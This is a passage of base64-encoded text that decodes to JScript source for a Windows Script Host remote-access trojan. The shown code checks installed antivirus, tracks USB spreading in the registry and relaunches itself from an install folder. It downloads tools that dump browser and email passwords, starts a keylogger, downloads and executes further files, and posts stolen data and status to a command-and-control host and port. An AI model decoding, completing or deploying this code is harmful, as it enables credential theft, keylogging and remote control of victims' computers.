IChvc3ZlcnNpb24gPiA2KXsgc2MgPSAic2VjdXJpdHljZW50ZXIyIjsgfWVsc2V7IHNjID0gInNlY3VyaXR5Y2VudGVyIjt9DQp2YXIgb2Jqc2VjdXJpdHljZW50ZXIgPSBHZXRPYmplY3QoIndpbm1nbXRzOlxcXFxsb2NhbGhvc3RcXHJvb3RcXCIgKyBzYyk7DQp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCAid3FsIiwgMCk7DQp2YXIgc2VjdSA9ICIiOw0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGFudGl2aXJ1cyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBvYmphbnRpdmlydXMgPSBmaS5pdGVtKCk7DQpzZWN1ID0gc2VjdSAgKyBvYmphbnRpdmlydXMuZGlzcGxheU5hbWUgKyAiIC4iOw0KfQ0KaWYoc2VjdSA9PSAiIil7c2VjdSA9ICJuYW4tYXYiO30NCnJldHVybiBzZWN1Ow0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gZ2V0RGF0ZSgpew0KdmFyIHMgPSAiIjsNCnZhciBkID0gbmV3IERhdGUoKTsNCnMgKz0gZC5nZXREYXRlKCkgKyAiLyI7DQpzICs9IChkLmdldE1vbnRoKCkgKyAxKSArICIvIjsNCnMgKz0gZC5nZXRZZWFyKCk7DQpyZXR1cm4gczsNCn0NCmZ1bmN0aW9uIGluc3RhbmNlKCl7DQp0cnl7DQp0cnl7DQp1c2JzcHJlYWRpbmcgPSBzaGVsbG9iai5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSArICJcXCIpOw0KfWNhdGNoKGVlZSl7fQ0KaWYodXNic3ByZWFkaW5nID09ICIiKXsNCmlmIChXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLnN1YnN0cigxKS50b0xvd2VyQ2FzZSgpID09ICI6XFwiICsgIGluc3RhbGxuYW1lLnRvTG93ZXJDYXNlKCkpew0KdXNic3ByZWFkaW5nID0gInRydWUgLSAiICsgZ2V0RGF0ZSgpOw0KdHJ5e3NoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSArICJcXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiKTt9Y2F0Y2goZWVlZWUpe30NCn1lbHNlew0KdXNic3ByZWFkaW5nID0gImZhbHNlIC0gIiArIGdldERhdGUoKTsNCnRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQ0KfQ0KfQ0KdXBzdGFydCgpOw0KdmFyIHNjcmlwdGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUpOw0KdmFyIGluc3RhbGxmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUpOw0KaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpew0Kc2hlbGxvYmoucnVuKCJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIik7DQpXU2NyaXB0LnF1aXQoKTsNCn0NCm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsNCn1jYXRjaChlcnIpew0KV1NjcmlwdC5xdWl0KCk7DQp9DQp9DQpmdW5jdGlvbiBwYXNzZ3JhYmJlciAoZmlsZXVybCwgZmlsZW5hbWUsIHJldGNtZCl7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyB0YXNra2lsbCAvRiAvSU0gIiArIGZpbGVuYW1lLCAwLCB0cnVlKTsNCnRyeXtmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArIGZpbGVuYW1lICsgImRhdGEiKTt9Y2F0Y2goZXkpe30NCnZhciBjb25maWdfZmlsZSA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKyAiLmNmZyI7DQp2YXIgY2ZnID0gIltHZW5lcmFsXVxuU2hvd0dyaWRMaW5lcz0wXG5TYXZlRmlsdGVySW5kZXg9MFxuU2hvd0luZm9UaXA9MVxuVXNlUHJvZmlsZUZvbGRlcj0wXG5Qcm9maWxlRm9sZGVyPVxuTWFya09kZEV2ZW5Sb3dzPTBcbldpblBvcz0yQyAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMSAwMCAwMCAwMCBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCA4MCAwMiAwMCAwMCBFMCAwMSAwMCAwMFxuQ29sdW1ucz1GQSAwMCAwMCAwMCBGQSAwMCAwMSAwMCA2RSAwMCAwMiAwMCA2RSAwMCAwMyAwMCA3OCAwMCAwNCAwMCA3OCAwMCAwNSAwMCA3OCAwMCAwNiAwMCA2NCAwMCAwNyAwMCBGQSAwMCAwOCAwMFxuU29ydD0wIjsNCnZhciB3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShjb25maWdfZmlsZSwgMiwgdHJ1ZSk7DQp3cml0ZXIud3JpdGVMaW5lKGNmZyk7DQp3cml0ZXIuY2xvc2UoKTsNCndyaXRlciA9IG51bGw7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPTAiKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApew0KdHJ5ew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfWNhdGNoKGV6KXsNCnVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOw0KfQ0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnZhciBydW5uZXIgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKTsNCnZhciBzYXZlciA9IG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGg7DQpmb3IodmFyIGk9MDsgaTw1OyBpKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQpXU2NyaXB0LnNsZWVwKDEwMDApOw0KcnVubmVyLnNoZWxsRXhlY3V0ZShzYXZlciwgIiAvc3RleHQgIiArIHNhdmVyICsgImRhdGEiKTsNCldTY3JpcHQuc2xlZXAoNTAwMCk7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNhdmVyICsgImRhdGEiKSl7DQp2YXIgb3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2JhY2t1cC5sb2ciOw0KdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7DQppZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQ0Kew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgbWtkaXIgXCIiICsgZm9sZGVyICsgIlwiIiwgMCwgdHJ1ZSk7DQp9DQpvYmpmc29kb3dubG9hZC5jb3B5RmlsZShzYXZlciArICJkYXRhIiwgb3V0cGF0aCwgdHJ1ZSk7DQpicmVhazsNCn0NCn0NCmRlbGV0ZWZhZihzdHJzYXZldG8pOw0KdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOw0KfQ0KfQ0KZnVuY3Rpb24gcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxldXJsMil7DQpmb3IodmFyIGg9MDsgaDwyOyBoKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZSArICJkYXRhIik7fWNhdGNoKGV5KXt9DQp2YXIgY29uZmlnX2ZpbGUgPSBpbnN0YWxsZGlyICsgZmlsZW5hbWUuc3Vic3RyKDAsIGZpbGVuYW1lLmxhc3RJbmRleE9mKCIuIikpICsgIi5jZmciOw0KdmFyIGNmZyA9ICJbR2VuZXJhbF1cblNob3dHcmlkTGluZXM9MFxuU2F2ZUZpbHRlckluZGV4PTBcblNob3dJbmZvVGlwPTFcblVzZVByb2ZpbGVGb2xkZXI9MFxuUHJvZmlsZUZvbGRlcj1cbk1hcmtPZGRFdmVuUm93cz0wXG5XaW5Qb3M9MkMgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDEgMDAgMDAgMDAgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgODAgMDIgMDAgMDAgRTAgMDEgMDAgMDBcbkNvbHVtbnM9RkEgMDAgMDAgMDAgRkEgMDAgMDEgMDAgNkUgMDAgMDIgMDAgNkUgMDAgMDMgMDAgNzggMDAgMDQgMDAgNzggMDAgMDUgMDAgNzggMDAgMDYgMDAgNjQgMDAgMDcgMDAgRkEgMDAgMDggMDBcblNvcnQ9MCI7DQp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOw0Kd3JpdGVyLndyaXRlTGluZShjZmcpOw0Kd3JpdGVyLmNsb3NlKCk7DQp3cml0ZXIgPSBudWxsOw0KdmFyIHN0cmxpbmsgPSBmaWxldXJsOw0KaWYoaCA9PSAxKXtzdHJsaW5rID0gZmlsZXVybDI7fQ0KdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn0NCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQp2YXIgcnVubmVyID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIik7DQp2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoDQpmb3IodmFyIGk9MDsgaTw1OyBpKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQpXU2NyaXB0LnNsZWVwKDEwMDApOw0KcnVubmVyLnNoZWxsRXhlY3V0ZShzYXZlciwgIiAvc3RleHQgIiArIHNhdmVyICsgImRhdGEiKTsNCldTY3JpcHQuc2xlZXAoMjAwMCk7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNhdmVyICsgImRhdGEiKSl7DQp2YXIgb2Jqc3RyZWFtdXBsb2FkZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbXVwbG9hZGUuVHlwZSA9IDI7DQpvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsNCm9ianN0cmVhbXVwbG9hZGUubG9hZEZyb21GaWxlKHNhdmVyICsgImRhdGEiKTsNCnZhciBidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWRUZXh0KCk7DQpvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7DQp2YXIgb3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2Jyb3dzZXIubG9nIjsNCmlmKGggPT0gMSl7b3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2VtYWlsLmxvZyI7fQ0KdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7DQppZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQ0Kew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgbWtkaXIgXCIiICsgZm9sZGVyICsgIlwiIiwgMCwgdHJ1ZSk7DQp9DQp3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLCAyLCB0cnVlKTsNCndyaXRlci53cml0ZShidWZmZXIpOw0Kd3JpdGVyLmNsb3NlKCk7DQp3cml0ZXIgPSBudWxsOw0KYnJlYWs7DQp9DQp9DQpkZWxldGVmYWYoc3Ryc2F2ZXRvKTsNCn0NCn0NCn0NCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsNCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTSAiICsgZmlsZW5hbWUsIDAsIHRydWUpOw0KdmFyIHN0cmxpbmsgPSBmaWxldXJsOw0KdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiICk7DQpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOw0Kb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOw0Kb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsNCnZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOw0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCm9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsNCn0NCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7DQp0cnl7DQp2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuVHlwZSA9IDE7DQpvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7DQpvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsNCm9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsNCm9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7DQpvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7DQp9Y2F0Y2goZXJyKXsNCnVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOw0KfQ0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bigiXCIiICsgc3Ryc2F2ZXRvICsgIlwiICIgKyBob3N0ICsgIiAiICsgcG9ydCArICIgXCIiICsgZmlsZWFyZyArICJcIiAiICsgaXNfb2ZmbGluZSk7DQp9DQp9DQpmdW5jdGlvbiBzZXJ2aWNlc3RhcnRlciAoZmlsZXVybCwgZmlsZW5hbWUsIGZpbGVhcmcpew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnRyeXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn1jYXRjaChlcnIpew0KdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7DQp9DQp9DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKyAiXCIgIiArIGhvc3QgKyAiICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiIik7DQp9DQp9DQpmdW5jdGlvbiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSl7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPTAiKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsNCnVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOw0KfQ0KfQ0KZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7DQppZihmaWxlZGlyID09ICIiKXsNCmZpbGVkaXIgPSBpbnN0YWxsZGlyOw0KfQ0Kc3Ryc2F2ZXRvID0gZmlsZWRpciArIGZpbGV1cmwuc3Vic3RyKGZpbGV1cmwubGFzdEluZGV4T2YoIlxcIikgKyAxKTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArIi8iICsgInNlbmQtdG8tbWUiICsgc3BsaXRlciArIGZpbGV1cmwsIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOw0Kb2JqaHR0cGRvd25sb2FkLnNlbmQoIiIpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn0NCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpzaGVsbG9iai5ydW4ob2JqZnNvZG93bmxvYWQuZ2V0RmlsZShzdHJzYXZldG8pLnNob3J0UGF0aCk7DQp1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsNCn0NCn0NCmZ1bmN0aW9uIHVwZGF0ZXN0YXR1cyhzdGF0dXNfbXNnKXsNCnZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArICIvIiArICJ1cGRhdGUtc3RhdHVzIiArIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7DQpvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsNCm9ianNvYy5zZW5kKCIiKTsNCn0NCmZ1bmN0aW9uIHVwbG9hZCAoZmlsZXVybCwgcmV0Y21kKXsNCnRyeXsNCnZhciAgaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsNCnZhciBvYmpzdHJlYW11cGxvYWRlID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5UeXBlID0gMTsNCm9ianN0cmVhbXVwbG9hZGUuT3BlbigpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5sb2FkRnJvbUZpbGUoZmlsZXVybCk7DQpidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsNCm9ianN0cmVhbXVwbG9hZGUuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCnZhciBodHRwb2JqID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7DQpodHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyByZXRjbWQsIGZhbHNlKTsNCmh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsNCmh0dHBvY